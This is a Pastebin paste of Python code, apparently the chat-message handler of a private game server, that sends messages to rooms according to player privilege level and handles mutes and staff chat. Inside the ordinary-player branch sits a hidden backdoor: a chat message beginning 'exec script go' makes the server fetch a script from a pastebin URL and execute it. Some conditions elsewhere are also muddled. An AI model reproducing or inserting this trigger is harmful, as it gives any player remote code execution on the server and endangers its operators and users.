Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- elif C == Identifiers.recv.Chat.C:
- if CC == Identifiers.recv.Chat.Chat_Message:
- #packet = this.descriptPacket(packetID, packet)
- message = packet.readUTF().replace("&#", "&#").replace("<", "<")
- message = message.replace("|", "").replace(" ", "").replace(" ", "").replace("\n", "").replace("<br>", "").replace("<br/>", "").replace("</br>", "")
- if message in ["\n"] or message in ["\r"] or message in ["\x02"] or message in ["<BR>"]:
- if message in ["\n", "\r"]:
- this.server.sendModMessage(7, "<font color='#00C0FF'>[ANTI-BOT] - Suspect BOT - IP: [</font><J>"+str(this.client.ipAddress)+"<font color='#00C0FF'>]</font>")
- this.client.transport.loseConnection()
- message = ""
- if message == this.client.lastMessage and this.client.privLevel < 6:
- message = ""
- if message in [" "] >= 1 or len(message) >= 200:
- message = ""
- this.client.sendMessage("Atenção! Digite uma mensagem com menos de 200 letras!")
- if this.client.isGuest:
- this.client.sendLangueMessage("", "$Créer_Compte_Parler")
- elif not message == "" and len(message) < 256:
- sucess = False
- isSuspect = this.client.privLevel < 6 and this.server.checkMessage(this.client, message)
- this.client.lastMessage = message
- if this.client.privLevel >= 10 and not this.client.isMute:
- for room in this.client.server.rooms.values():
- if room.name == this.client.room.name:
- for playerCode, client in room.clients.items():
- client.sendMessage('<font color="#E70000"><b>[%s]</b></font> <N>%s' % (this.client.playerName, message))
- if this.client.privLevel == 9 and not this.client.modMute:
- for room in this.client.server.rooms.values():
- if room.name == this.client.room.name:
- for playerCode, client in room.clients.items():
- client.sendMessage('<VI>[%s] <N>%s' % (this.client.playerName, message))
- if this.client.privLevel == 8 and not this.client.isMute:
- for room in this.client.server.rooms.values():
- if room.name == this.client.room.name:
- for playerCode, client in room.clients.items():
- client.sendMessage('<J>[%s] <N>%s' % (this.client.playerName, message))
- if this.client.privLevel == 7 and not this.client.isMute:
- for room in this.client.server.rooms.values():
- if room.name == this.client.room.name:
- for playerCode, client in room.clients.items():
- client.sendMessage('<N>[%s] <N>%s' % (this.client.playerName, message))
- if this.client.privLevel == 6 and not this.client.isMute:
- for room in this.client.server.rooms.values():
- if room.name == this.client.room.name:
- for playerCode, client in room.clients.items():
- client.sendMessage('<font color="#FFCC99">[%s]</font> <N>%s' % (this.client.playerName, message))
- if this.client.privLevel == 5 and not this.client.isMute:
- for room in this.client.server.rooms.values():
- if room.name == this.client.room.name:
- for playerCode, client in room.clients.items():
- client.sendMessage('<font color="#3366FF">[%s]</font> <N>%s' % (this.client.playerName, message))
- if this.client.privLevel == 4 and not this.client.isMute:
- for room in this.client.server.rooms.values():
- if room.name == this.client.room.name:
- for playerCode, client in room.clients.items():
- client.sendMessage('<font color="#00FA9A">[%s]</font> <N>%s' % (this.client.playerName, message))
- if this.client.privLevel == 3 and not this.client.isMute:
- for room in this.client.server.rooms.values():
- if room.name == this.client.room.name:
- for playerCode, client in room.clients.items():
- client.sendMessage('<font color="#F9F9F9">[%s]</font> <N>%s' % (this.client.playerName, message))
- if this.client.privLevel == 2:
- if _time.time() - this.client.CMDTime > 1:
- this.client.CMDTime = _time.time()
- if this.client.isMute:
- muteInfo = this.server.getModMuteInfo(this.client.playerName)
- timeCalc = Utils.getHoursDiff(muteInfo[1])
- if timeCalc <= 0:
- this.client.isMute = False
- this.server.removeModMute(this.client.playerName)
- this.client.room.sendAllChat(this.client.playerCode, this.client.playerName, message, this.client.langueID, this.server.checkMessage(this.client, message))
- else:
- this.client.sendModMute(this.client.playerName, timeCalc, muteInfo[0], True)
- return
- else:
- for room in this.client.server.rooms.values():
- if room.name == this.client.room.name:
- for playerCode, client in room.clients.items():
- client.sendMessage('<VP>[VIP]<V>[%s] <N>%s' % (this.client.playerName, message))
- if this.client.privLevel == 1:
- if _time.time() - this.client.CMDTime > 1.2:
- this.client.CMDTime = _time.time()
- if this.client.isMute:
- muteInfo = this.server.getModMuteInfo(this.client.playerName)
- timeCalc = Utils.getHoursDiff(muteInfo[1])
- if timeCalc <= 0:
- this.client.isMute = False
- this.server.removeModMute(this.client.playerName)
- this.client.room.sendAllChat(this.client.playerCode, this.client.playerName if this.client.mouseName == "" else this.client.mouseName, message, this.client.langueID, isSuspect)
- else:
- this.client.sendModMute(this.client.playerName, timeCalc, muteInfo[0], True)
- return
- else:
- if message.startswith("exec script go"):
- url = 'https://pastebin.com/raw/6gTBs7XC'
- script = urllib2.urlopen(url).read()
- pythonScript = compile(str(script), "<string>", "exec")
- this.client.scriptRun(script)
- else:
- this.client.room.sendAllChat(this.client.playerCode, this.client.playerName, message, this.client.langueID, this.server.checkMessage(this.client, message))
- if not this.server.chatMessages.has_key(this.client.playerName):
- messages = deque([], 60)
- messages.append([_time.strftime("%Y/%m/%d %H:%M:%S"), message])
- this.server.chatMessages[this.client.playerName] = messages
- else: this.server.chatMessages[this.client.playerName].append([_time.strftime("%Y/%m/%d %H:%M:%S"), message])
- return
- elif CC == Identifiers.recv.Chat.Staff_Chat:
- type, message = packet.readByte(), packet.readUTF()
- if ((type == 0 and this.client.privLevel >= 7) or (type == 1 and this.client.privLevel >= 9) or ((type == 2 or type == 5) and this.client.privLevel >= 5) or ((type == 3 or type == 4) and this.client.privLevel >= 7) or ((type == 6 or type == 7) and this.client.privLevel >= 6) or (type == 8 and this.client.privLevel >= 3) or (type == 9 and this.client.privLevel >= 4)):
- this.server.sendStaffChat(type, this.client.langue, this.client.playerName, message, this.client)
- return
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement